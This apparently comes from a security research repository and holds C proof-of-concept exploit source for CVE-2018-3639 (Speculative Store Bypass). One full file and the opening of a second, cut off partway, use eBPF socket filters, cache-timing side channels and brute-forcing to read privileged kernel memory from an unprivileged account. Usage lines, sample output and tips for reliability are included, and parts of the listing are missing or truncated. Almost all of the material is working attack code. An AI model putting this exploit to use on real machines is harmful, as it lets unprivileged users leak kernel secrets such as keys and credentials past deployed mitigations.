/CVE-2018-3639/poc_non_root.c: -------------------------------------------------------------------------------- 1 | // Local exploit for CVE-2018-3639 (as known as Variant4, Speculative store bypass) 2 | // It's to read privileged kernel memory from unprivileged user. (non-root user) 3 | // Tested on 4.4.0-128-generic #154-Ubuntu kernel. (Ubuntu 16.04), CPU - Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz 4 | // Tested environment includes mitigations against Spectre, Meltdown, and SMEP, SMAP are applied. 5 | // 6 | // First exploit code against CVE-2018-3639 is from Google project zero team. 7 | // (https://www.exploit-db.com/exploits/44695/) 8 | // But, above exploit requires additional assumptions such as kernel modification, ... 9 | // So, testing the exploit is not easy. 10 | // 11 | // I updated the exploit code aginst CVE-2018-3639, and It perfectly works on specific Ubuntu kernel. 12 | // It doesn't require any additional assumption. 13 | // But, Since this exploit is based on a probabilistic way, It's semi-reliable. 14 | // 15 | // Author : Jinbum Park 16 | // 17 | // Usage : 18 | // $ gcc -o poc_non_root poc_non_root.c 19 | // $ ./poc_non_root ffffffff81a098a4 ==> (ffffffff81a098a4 R rodata_test_data --> real value is 0xC3) 20 | // [] BPF PROG LOADED SUCCESSFULLY 21 | // [] mlock success - user_leak_area 22 | // [] start bruteforce to get leak_area as kernel virtual address. 23 | // [] progress : ffff880307fff000 24 | // ...... (repeat for bruteforce, 3~10 minutes) ....... 25 | // [] progress : ffff8803b7fff000 26 | // [] Found kernel vaddr!! ffff8803ba70d000 27 | // [] [bit-0] hit : 16 28 | // [] [bit-1] hit : 2 29 | // [] [bit-2] hit : 0 30 | // [] [bit-3] hit : 0 31 | // [] [bit-4] hit : 0 32 | // [] [bit-5] hit : 0 33 | // [] [bit-6] hit : 18 34 | // [] [bit-7] hit : 40 35 | // [] ffffffff81a098a4: 0xc3 ('▒') ==> Final infered value for kernel address "ffffffff81a098a4". 36 | // 37 | // How to make it more reliable? : 38 | // - Run poc_non_root several times, and Mix the results, 39 | // - e.g) first result - 0x43, second result - 0xC0 40 | // 0x43 | 0xC0 ==> 0xC3 will be more reliable result. 41 | // 42 | // Would you like to omit bruteforce to get address of kernel_leak_area?? 43 | // - Run with root!! 44 | // 45 | 46 | #define _GNU_SOURCE 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | #include 70 | #include 71 | #include 72 | #include 73 | 74 | #define GPLv2 "GPL v2" 75 | #define ARRSIZE(x) (sizeof(x) / sizeof((x)[0])) 76 | 77 | /* registers */ 78 | /* caller-saved: r0..r5 */ 79 | #define BPF_REG_ARG1 BPF_REG_1 80 | #define BPF_REG_ARG2 BPF_REG_2 81 | #define BPF_REG_ARG3 BPF_REG_3 82 | #define BPF_REG_ARG4 BPF_REG_4 83 | #define BPF_REG_ARG5 BPF_REG_5 84 | #define BPF_REG_CTX BPF_REG_6 85 | #define BPF_REG_FP BPF_REG_10 86 | 87 | #define BPF_REG_CONFUSED_SLOT BPF_REG_6 88 | #define BPF_REG_SLOW_SLOT BPF_REG_7 89 | #define BPF_REG_SLOW_SLOT2 BPF_REG_5 90 | #define BPF_REG_CONFUSED_SLOT_ALIAS BPF_REG_8 91 | #define BPF_REG_LEAK_ARRAY BPF_REG_9 92 | 93 | #define BPF_REG_CONFUSED BPF_REG_1 94 | #define BPF_REG_SECRET_VALUE BPF_REG_2 95 | #define BPF_REG_DUMMY_SLOT BPF_REG_3 96 | 97 | #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ 98 | ((struct bpf_insn) { \ 99 | .code = BPF_LD | BPF_DW | BPF_IMM, \ 100 | .dst_reg = DST, \ 101 | .src_reg = SRC, \ 102 | .off = 0, \ 103 | .imm = (__u32) (IMM) }), \ 104 | ((struct bpf_insn) { \ 105 | .code = 0, /* zero is reserved opcode */ \ 106 | .dst_reg = 0, \ 107 | .src_reg = 0, \ 108 | .off = 0, \ 109 | .imm = ((__u64) (IMM)) >> 32 }) 110 | #define BPF_LD_MAP_FD(DST, MAP_FD) \ 111 | BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) 112 | #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ 113 | ((struct bpf_insn) { \ 114 | .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\ 115 | .dst_reg = DST, \ 116 | .src_reg = SRC, \ 117 | .off = OFF, \ 118 | .imm = 0 }) 119 | #define BPF_MOV64_REG(DST, SRC) \ 120 | ((struct bpf_insn) { \ 121 | .code = BPF_ALU64 | BPF_MOV | BPF_X, \ 122 | .dst_reg = DST, \ 123 | .src_reg = SRC, \ 124 | .off = 0, \ 125 | .imm = 0 }) 126 | #define BPF_ALU64_IMM(OP, DST, IMM) \ 127 | ((struct bpf_insn) { \ 128 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ 129 | .dst_reg = DST, \ 130 | .src_reg = 0, \ 131 | .off = 0, \ 132 | .imm = IMM }) 133 | #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ 134 | ((struct bpf_insn) { \ 135 | .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\ 136 | .dst_reg = DST, \ 137 | .src_reg = SRC, \ 138 | .off = OFF, \ 139 | .imm = 0 }) 140 | #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ 141 | ((struct bpf_insn) { \ 142 | .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ 143 | .dst_reg = DST, \ 144 | .src_reg = 0, \ 145 | .off = OFF, \ 146 | .imm = IMM }) 147 | #define BPF_EMIT_CALL(FUNC) \ 148 | ((struct bpf_insn) { \ 149 | .code = BPF_JMP | BPF_CALL, \ 150 | .dst_reg = 0, \ 151 | .src_reg = 0, \ 152 | .off = 0, \ 153 | .imm = (FUNC) }) 154 | #define BPF_JMP_IMM(OP, DST, IMM, OFF) \ 155 | ((struct bpf_insn) { \ 156 | .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ 157 | .dst_reg = DST, \ 158 | .src_reg = 0, \ 159 | .off = OFF, \ 160 | .imm = IMM }) 161 | #define BPF_EXIT_INSN() \ 162 | ((struct bpf_insn) { \ 163 | .code = BPF_JMP | BPF_EXIT, \ 164 | .dst_reg = 0, \ 165 | .src_reg = 0, \ 166 | .off = 0, \ 167 | .imm = 0 }) 168 | #define BPF_LD_ABS(SIZE, IMM) \ 169 | ((struct bpf_insn) { \ 170 | .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \ 171 | .dst_reg = 0, \ 172 | .src_reg = 0, \ 173 | .off = 0, \ 174 | .imm = IMM }) 175 | #define BPF_ALU64_REG(OP, DST, SRC) \ 176 | ((struct bpf_insn) { \ 177 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ 178 | .dst_reg = DST, \ 179 | .src_reg = SRC, \ 180 | .off = 0, \ 181 | .imm = 0 }) 182 | #define BPF_MOV64_IMM(DST, IMM) \ 183 | ((struct bpf_insn) { \ 184 | .code = BPF_ALU64 | BPF_MOV | BPF_K, \ 185 | .dst_reg = DST, \ 186 | .src_reg = 0, \ 187 | .off = 0, \ 188 | .imm = IMM }) 189 | 190 | char user_leak_area[4096] __attribute__((aligned(4096))) = {0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0xa0,}; 191 | unsigned long kernel_leak_area; 192 | 193 | void user_flush_cacheline(void *arg) 194 | { 195 | asm volatile( 196 | "mov $0, %%eax\n\t" 197 | "cpuid\n\t" /* pleeeease don't do this speculatively :/ */ 198 | "clflush %0" 199 | : "+m" (*(volatile char *)arg) 200 | : /* no inputs */ 201 | : "ax", "bx", "cx", "dx"); 202 | } 203 | 204 | int user_timed_reload(void *arg) 205 | { 206 | int tsc1, tsc2, read_copy; 207 | asm volatile( 208 | "mov $0, %%eax\n\t" 209 | "cpuid\n\t" /* serialize; clobbers eax, ebx, ecx, edx */ 210 | "rdtscp\n\t" /* counter into eax; clobbers edx, ecx */ 211 | "mov %%eax, %0\n\t" 212 | "mov (%3), %%eax\n\t" 213 | "mov %%eax, %2\n\t" 214 | "rdtscp\n\t" /* counter into eax; clobbers edx, ecx */ 215 | "mov %%eax, %1\n\t" 216 | : "=&r"(tsc1), "=&r"(tsc2), "=&r"(read_copy) 217 | : "r"((unsigned int *)arg) 218 | : "ax", "bx", "cx", "dx"); 219 | return tsc2 - tsc1; 220 | } 221 | 222 | int bpf_(int cmd, union bpf_attr *attrs) 223 | { 224 | return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); 225 | } 226 | 227 | int array_create(int value_size, int num_entries) 228 | { 229 | union bpf_attr create_map_attrs = { 230 | .map_type = BPF_MAP_TYPE_ARRAY, 231 | .key_size = 4, 232 | .value_size = value_size, 233 | .max_entries = num_entries 234 | }; 235 | int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs); 236 | if (mapfd == -1) { 237 | //err(1, "map create"); 238 | exit(0); 239 | } 240 | return mapfd; 241 | } 242 | 243 | void array_set_dw(int mapfd, uint32_t key, uint64_t value) 244 | { 245 | union bpf_attr attr = { 246 | .map_fd = mapfd, 247 | .key = (uint64_t)&key, 248 | .value = (uint64_t)&value, 249 | .flags = BPF_ANY, 250 | }; 251 | 252 | int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr); 253 | if (res) 254 | err(1, "map update elem"); 255 | } 256 | 257 | int prog_load(struct bpf_insn *insns, size_t insns_count) 258 | { 259 | char verifier_log[100000]; 260 | union bpf_attr create_prog_attrs = { 261 | .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, 262 | .insn_cnt = insns_count, 263 | .insns = (uint64_t)insns, 264 | .license = (uint64_t)GPLv2, 265 | .log_level = 1, 266 | .log_size = sizeof(verifier_log), 267 | .log_buf = (uint64_t)verifier_log 268 | }; 269 | int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs); 270 | int errno_ = errno; 271 | //printf("==========================\n%s==========================\n", verifier_log); 272 | errno = errno_; 273 | if (progfd == -1) { 274 | //err(1, "prog load"); 275 | exit(0); 276 | } 277 | return progfd; 278 | } 279 | 280 | int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) 281 | { 282 | int progfd = prog_load(insns, insns_count); 283 | 284 | // hook eBPF program up to a socket 285 | // sendmsg() to the socket will trigger the filter 286 | // returning 0 in the filter should toss the packet 287 | int socks[2]; 288 | if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) 289 | err(1, "socketpair"); 290 | if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) 291 | err(1, "setsockopt"); 292 | return socks[1]; 293 | } 294 | 295 | void trigger_proc(int sockfd) 296 | { 297 | if (write(sockfd, "X", 1) != 1) 298 | err(1, "write to proc socket failed"); 299 | } 300 | 301 | int input_map, dummy_map; 302 | int sockfds[16]; 303 | 304 | struct array_timed_reader_prog { 305 | int control_array; 306 | int sockfd; 307 | }; 308 | struct array_timed_reader_prog time_prog; 309 | 310 | #define DUMMY_MAP_SIZE 128 311 | void set_dummy_map(void) 312 | { 313 | unsigned long i; 314 | for (i=0; i 0) 356 | return 1; 357 | return 0; 358 | } 359 | 360 | int leak_byte(unsigned long addr) 361 | { 362 | unsigned char byte = 0; 363 | for (int bit=0; bit<8; bit++) { 364 | byte |= (leak_bit(addr, bit))<"); 484 | 485 | for(int selected_bit=0; selected_bit<8; selected_bit++) { 486 | struct bpf_insn insns[] = { 487 | // Setup-0: write 0x00 to -344 to get a big stack allocation 488 | // Why 0x00?? It makes normal-execution-path (not speculative) fall through Critical-path-1 489 | BPF_ST_MEM(BPF_B, BPF_REG_FP, -344, 0x00), 490 | 491 | /* setup: compute stack slot pointers to : 492 | * - type-confused stack slot (at -72) 493 | * - pointer to type-confused stack slot (at -144) 494 | */ 495 | BPF_MOV64_REG(BPF_REG_CONFUSED_SLOT, BPF_REG_FP), 496 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_CONFUSED_SLOT, -72), /* r6 = fp-72 */ 497 | BPF_MOV64_REG(BPF_REG_SLOW_SLOT, BPF_REG_FP), 498 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_SLOW_SLOT, -144), /* r7 = fp-144 */ 499 | BPF_MOV64_REG(BPF_REG_LEAK_ARRAY, BPF_REG_FP), 500 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_LEAK_ARRAY, -200), /* r9 = fp-200; (fp-200)+128 */ 501 | BPF_MOV64_REG(BPF_REG_SLOW_SLOT2, BPF_REG_FP), 502 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_SLOW_SLOT2, -272), /* r5 = fp-272; */ 503 | BPF_MOV64_REG(BPF_REG_0, BPF_REG_FP), 504 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, -344), 505 | 506 | // write to dummy slot 507 | BPF_ST_MEM(BPF_DW, BPF_REG_0, 0, 0), 508 | 509 | // Setup-1: store victim memory pointer in BPF_REG_CONFUSED_SLOT 510 | BPF_LD_MAP_FD(BPF_REG_ARG1, input_map), 511 | BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), 512 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4), 513 | BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 0), 514 | BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), 515 | BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), 516 | BPF_EXIT_INSN(), 517 | BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_0, 0), 518 | BPF_STX_MEM(BPF_DW, BPF_REG_CONFUSED_SLOT, BPF_REG_0, 0), /* *(r6) = victim_addr from input_map */ 519 | /* It means *(fp-72) = victim_addr */ 520 | 521 | // Setup-2: store leak area pointer in BPF_REG_CONFUSED_SLOT 522 | BPF_LD_MAP_FD(BPF_REG_ARG1, input_map), 523 | BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), 524 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4), 525 | BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 2), 526 | BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), 527 | BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), 528 | BPF_EXIT_INSN(), 529 | BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_0, 0), 530 | BPF_STX_MEM(BPF_DW, BPF_REG_LEAK_ARRAY, BPF_REG_0, 0), /* *(r9) = leak_area from input_map */ 531 | /* It means *(fp-200) = leak_area */ 532 | 533 | // Setup-3: spill pointer to type-confused stack slot 534 | BPF_STX_MEM(BPF_DW, BPF_REG_SLOW_SLOT, BPF_REG_CONFUSED_SLOT, 0), 535 | BPF_MOV64_REG(BPF_REG_SLOW_SLOT, BPF_REG_FP), 536 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_SLOW_SLOT, -272), /* r7 = fp-272; for slow slot2 */ 537 | BPF_STX_MEM(BPF_DW, BPF_REG_SLOW_SLOT, BPF_REG_LEAK_ARRAY, 0), 538 | BPF_MOV64_REG(BPF_REG_SLOW_SLOT, BPF_REG_FP), 539 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_SLOW_SLOT, -144), /* r7 = fp-144 */ 540 | /* *(r7) = r6; *(r7) = (fp-72) */ 541 | 542 | /* dummy behavior for eviction */ 543 | //DUMMY_INSNS(), 544 | 545 | BPF_MOV64_REG(BPF_REG_DUMMY_SLOT, BPF_REG_FP), /* r3 = r10 */ 546 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_DUMMY_SLOT, -344), /* r3 -= 344 */ 547 | 548 | // Critical-path-0: Get secret bit of victim_addr via SSB. 549 | BPF_LDX_MEM(BPF_DW, BPF_REG_CONFUSED_SLOT_ALIAS, BPF_REG_SLOW_SLOT, 0), /* high-latency read of slot address, r8 = *(r7); */ 550 | BPF_STX_MEM(BPF_DW, BPF_REG_CONFUSED_SLOT_ALIAS, BPF_REG_DUMMY_SLOT, 0), /* bypassed store via high-latency address, *(r8) = r3 */ 551 | BPF_LDX_MEM(BPF_DW, BPF_REG_CONFUSED, BPF_REG_CONFUSED_SLOT, 0), /* r1 = *(r6); r1 = victim_addr */ 552 | BPF_LDX_MEM(BPF_B, BPF_REG_SECRET_VALUE, BPF_REG_CONFUSED, 0), /* r2 = *(r1); r2 = secret */ 553 | BPF_ALU64_IMM(BPF_AND, BPF_REG_SECRET_VALUE, 1< Allocate kernel page for that user memory. (kernel_leak_area) 18 | // (2) Do bruteforce to predict offset between kernel_leak_area and prog_map. 19 | // 20 | // Usage : 21 | // $ gcc -pthread -o poc poc.c -Wall -ggdb -std=gnu99 22 | // $ ./poc 23 | // .... 24 | // [] progress : [0][ffff880307fff000] 25 | // .... (repeat to get leak_index) .... 26 | // [] hit!! leak_index[0] : 620037f4 ==> offset to move from prog_map to kernel_leak_area 27 | // ..... 28 | // [] 00001000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| ==> start to dump kernel 29 | // 30 | // Contact : Jinbum Park 31 | // 32 | 33 | #define _GNU_SOURCE 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | 61 | 62 | 63 | #define KERNEL_4_4_NOLOCKDEP 64 | 65 | 66 | 67 | #define GPLv2 "GPL v2" 68 | #define ARRSIZE(x) (sizeof(x) / sizeof((x)[0])) 69 | 70 | 71 | 72 | #define __aligned(x) __attribute__((aligned(x))) 73 | typedef struct { int counter; } atomic_t; 74 | typedef struct { long __aligned(8) counter; } atomic64_t; 75 | typedef atomic64_t atomic_long_t; 76 | struct list_head { 77 | void *next, *prev; 78 | }; 79 | struct work_struct { 80 | atomic_long_t data; 81 | struct list_head entry; 82 | void *func; 83 | }; 84 | #if defined(KERNEL_4_11_NOLOCKDEP) 85 | struct bpf_map { 86 | atomic_t refcnt; 87 | int map_type; 88 | int key_size; 89 | int value_size; 90 | int max_entries; 91 | int map_flags; 92 | int pages; 93 | void *user; 94 | void *ops; 95 | struct work_struct work; 96 | atomic_t usercnt; 97 | }; 98 | #elif defined(KERNEL_4_4_NOLOCKDEP) 99 | struct bpf_map { 100 | atomic_t refcnt; 101 | int map_type; 102 | int key_size; 103 | int value_size; 104 | int max_entries; 105 | int pages; 106 | void *user; 107 | void *ops; 108 | struct work_struct work; 109 | atomic_t usercnt; 110 | }; 111 | #endif 112 | struct bpf_array { 113 | struct bpf_map map; 114 | int elem_size; 115 | int owner_prog_type; 116 | bool owner_jited; 117 | char value[0] __aligned(8); 118 | }; 119 | #define BPF_ARRAY_VALUE_OFFSET (offsetof(struct bpf_array, value)) 120 | struct bpf_prog { 121 | unsigned short pages; /* Number of allocated pages */ 122 | unsigned short jited:1, /* Is our filter JIT'ed? */ 123 | locked:1, /* Program image locked? */ 124 | gpl_compatible:1, /* Is filter GPL compatible? */ 125 | cb_access:1, /* Is control block accessed? */ 126 | dst_needed:1, /* Do we need dst entry? */ 127 | xdp_adjust_head:1; /* Adjusting pkt head? */ 128 | int type; /* Type of BPF program */ 129 | unsigned int len; /* Number of filter blocks */ 130 | unsigned char tag[8]; 131 | void *aux; /* Auxiliary fields */ 132 | void *orig_prog; /* Original BPF program */ 133 | void *bpf_func; 134 | }; 135 | 136 | char user_leak_area_smap[4096] __attribute__((aligned(4096))) = {0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0xa0,}; 137 | unsigned long kernel_leak_area_smap = 0; 138 | 139 | /* registers */ 140 | /* caller-saved: r0..r5 */ 141 | #define BPF_REG_ARG1 BPF_REG_1 142 | #define BPF_REG_ARG2 BPF_REG_2 143 | #define BPF_REG_ARG3 BPF_REG_3 144 | #define BPF_REG_ARG4 BPF_REG_4 145 | #define BPF_REG_ARG5 BPF_REG_5 146 | #define BPF_REG_CTX BPF_REG_6 147 | #define BPF_REG_FP BPF_REG_10 148 | 149 | #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ 150 | ((struct bpf_insn) { \ 151 | .code = BPF_LD | BPF_DW | BPF_IMM, \ 152 | .dst_reg = DST, \ 153 | .src_reg = SRC, \ 154 | .off = 0, \ 155 | .imm = (__u32) (IMM) }), \ 156 | ((struct bpf_insn) { \ 157 | .code = 0, /* zero is reserved opcode */ \ 158 | .dst_reg = 0, \ 159 | .src_reg = 0, \ 160 | .off = 0, \ 161 | .imm = ((__u64) (IMM)) >> 32 }) 162 | #define BPF_LD_MAP_FD(DST, MAP_FD) \ 163 | BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) 164 | #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ 165 | ((struct bpf_insn) { \ 166 | .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\ 167 | .dst_reg = DST, \ 168 | .src_reg = SRC, \ 169 | .off = OFF, \ 170 | .imm = 0 }) 171 | #define BPF_MOV64_REG(DST, SRC) \ 172 | ((struct bpf_insn) { \ 173 | .code = BPF_ALU64 | BPF_MOV | BPF_X, \ 174 | .dst_reg = DST, \ 175 | .src_reg = SRC, \ 176 | .off = 0, \ 177 | .imm = 0 }) 178 | #define BPF_ALU64_IMM(OP, DST, IMM) \ 179 | ((struct bpf_insn) { \ 180 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ 181 | .dst_reg = DST, \ 182 | .src_reg = 0, \ 183 | .off = 0, \ 184 | .imm = IMM }) 185 | #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ 186 | ((struct bpf_insn) { \ 187 | .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\ 188 | .dst_reg = DST, \ 189 | .src_reg = SRC, \ 190 | .off = OFF, \ 191 | .imm = 0 }) 192 | #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ 193 | ((struct bpf_insn) { \ 194 | .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ 195 | .dst_reg = DST, \ 196 | .src_reg = 0, \ 197 | .off = OFF, \ 198 | .imm = IMM }) 199 | #define BPF_EMIT_CALL(FUNC) \ 200 | ((struct bpf_insn) { \ 201 | .code = BPF_JMP | BPF_CALL, \ 202 | .dst_reg = 0, \ 203 | .src_reg = 0, \ 204 | .off = 0, \ 205 | .imm = (FUNC) }) 206 | #define BPF_JMP_IMM(OP, DST, IMM, OFF) \ 207 | ((struct bpf_insn) { \ 208 | .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ 209 | .dst_reg = DST, \ 210 | .src_reg = 0, \ 211 | .off = OFF, \ 212 | .imm = IMM }) 213 | #define BPF_EXIT_INSN() \ 214 | ((struct bpf_insn) { \ 215 | .code = BPF_JMP | BPF_EXIT, \ 216 | .dst_reg = 0, \ 217 | .src_reg = 0, \ 218 | .off = 0, \ 219 | .imm = 0 }) 220 | #define BPF_LD_ABS(SIZE, IMM) \ 221 | ((struct bpf_insn) { \ 222 | .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \ 223 | .dst_reg = 0, \ 224 | .src_reg = 0, \ 225 | .off = 0, \ 226 | .imm = IMM }) 227 | #define BPF_ALU64_REG(OP, DST, SRC) \ 228 | ((struct bpf_insn) { \ 229 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ 230 | .dst_reg = DST, \ 231 | .src_reg = SRC, \ 232 | .off = 0, \ 233 | .imm = 0 }) 234 | #define BPF_MOV64_IMM(DST, IMM) \ 235 | ((struct bpf_insn) { \ 236 | .code = BPF_ALU64 | BPF_MOV | BPF_K, \ 237 | .dst_reg = DST, \ 238 | .src_reg = 0, \ 239 | .off = 0, \ 240 | .imm = IMM }) 241 | 242 | /* this should jump forward in the error case so that the static branch prediction 243 | * goes the right way (if we hit the static branch prediction for some reason) 244 | */ 245 | #define BPF_GOTO_EXIT_IF_R0_NULL \ 246 | BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 0x7ff) 247 | 248 | 249 | int bpf_(int cmd, union bpf_attr *attrs) { 250 | return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); 251 | } 252 | 253 | int array_create(int value_size, int num_entries) { 254 | union bpf_attr create_map_attrs = { 255 | .map_type = BPF_MAP_TYPE_ARRAY, 256 | .key_size = 4, 257 | .value_size = value_size, 258 | .max_entries = num_entries 259 | }; 260 | int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs); 261 | if (mapfd == -1) 262 | err(1, "map create"); 263 | return mapfd; 264 | } 265 | 266 | int prog_load(struct bpf_insn *insns, size_t insns_count) { 267 | char verifier_log[100000]; 268 | union bpf_attr create_prog_attrs = { 269 | .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, 270 | .insn_cnt = insns_count, 271 | .insns = (uint64_t)insns, 272 | .license = (uint64_t)GPLv2, 273 | .log_level = 1, 274 | .log_size = sizeof(verifier_log), 275 | .log_buf = (uint64_t)verifier_log 276 | }; 277 | int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs); 278 | int errno_ = errno; 279 | printf("==========================\n%s==========================\n", verifier_log); 280 | errno = errno_; 281 | if (progfd == -1) 282 | err(1, "prog load"); 283 | return progfd; 284 | } 285 | 286 | int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) { 287 | int progfd = prog_load(insns, insns_count); 288 | 289 | // hook eBPF program up to a socket 290 | // sendmsg() to the socket will trigger the filter 291 | // returning 0 in the filter should toss the packet 292 | int socks[2]; 293 | if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) 294 | err(1, "socketpair"); 295 | if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) 296 | err(1, "setsockopt"); 297 | return socks[1]; 298 | } 299 | 300 | void user_flush_cacheline(void *arg) { 301 | asm volatile( 302 | "mov $0, %%eax\n\t" 303 | "cpuid\n\t" /* pleeeease don't do this speculatively :/ */ 304 | "clflush %0" 305 | : "+m" (*(volatile char *)arg) 306 | : /* no inputs */ 307 | : "ax", "bx", "cx", "dx"); 308 | } 309 | 310 | int user_timed_reload(void *arg) { 311 | int tsc1, tsc2, read_copy; 312 | asm volatile( 313 | "mov $0, %%eax\n\t" 314 | "cpuid\n\t" /* serialize; clobbers eax, ebx, ecx, edx */ 315 | "rdtscp\n\t" /* counter into eax; clobbers edx, ecx */ 316 | "mov %%eax, %0\n\t" 317 | "mov (%3), %%eax\n\t" 318 | "mov %%eax, %2\n\t" 319 | "rdtscp\n\t" /* counter into eax; clobbers edx, ecx */ 320 | "mov %%eax, %1\n\t" 321 | : "=&r"(tsc1), "=&r"(tsc2), "=&r"(read_copy) 322 | : "r"((unsigned int *)arg) 323 | : "ax", "bx", "cx", "dx"); 324 | return tsc2 - tsc1; 325 | } 326 | 327 | /* assumes 32-bit values */ 328 | void array_set(int mapfd, uint32_t key, uint32_t value) { 329 | union bpf_attr attr = { 330 | .map_fd = mapfd, 331 | .key = (uint64_t)&key, 332 | .value = (uint64_t)&value, 333 | .flags = BPF_ANY, 334 | }; 335 | 336 | int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr); 337 | if (res) 338 | err(1, "map update elem"); 339 | } 340 | 341 | void array_set_dw(int mapfd, uint32_t key, uint64_t value) { 342 | union bpf_attr attr = { 343 | .map_fd = mapfd, 344 | .key = (uint64_t)&key, 345 | .value = (uint64_t)&value, 346 | .flags = BPF_ANY, 347 | }; 348 | 349 | int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr); 350 | if (res) 351 | err(1, "map update elem"); 352 | } 353 | 354 | /* assumes 32-bit values */ 355 | uint32_t array_get(int mapfd, uint32_t key) { 356 | uint32_t value = 0; 357 | union bpf_attr attr = { 358 | .map_fd = mapfd, 359 | .key = (uint64_t)&key, 360 | .value = (uint64_t)&value, 361 | .flags = BPF_ANY, 362 | }; 363 | int res = bpf_(BPF_MAP_LOOKUP_ELEM, &attr); 364 | if (res) 365 | err(1, "map lookup elem"); 366 | return value; 367 | } 368 | 369 | struct array_timed_reader_prog { 370 | int control_array; 371 | int sockfd; 372 | }; 373 | 374 | struct array_timed_reader_prog create_timed_reader_prog(int timed_array_fd) { 375 | struct array_timed_reader_prog ret; 376 | 377 | /* 378 | * slot 0: timed_array index 379 | * slot 1: measured time delta 380 | */ 381 | ret.control_array = array_create(4, 2); 382 | 383 | struct bpf_insn insns[] = { 384 | /* 385 | * setup: get pointer to timed_array slot 386 | * r7 = &timed_array[control_array[0]] 387 | */ 388 | BPF_LD_MAP_FD(BPF_REG_ARG1, ret.control_array), 389 | BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), 390 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4), 391 | BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 0), 392 | BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), 393 | BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), 394 | BPF_EXIT_INSN(), 395 | BPF_LDX_MEM(BPF_W, BPF_REG_0, BPF_REG_0, 0), 396 | BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), 397 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4), 398 | BPF_STX_MEM(BPF_W, BPF_REG_ARG2, BPF_REG_0, 0), 399 | BPF_LD_MAP_FD(BPF_REG_ARG1, timed_array_fd), 400 | BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), 401 | 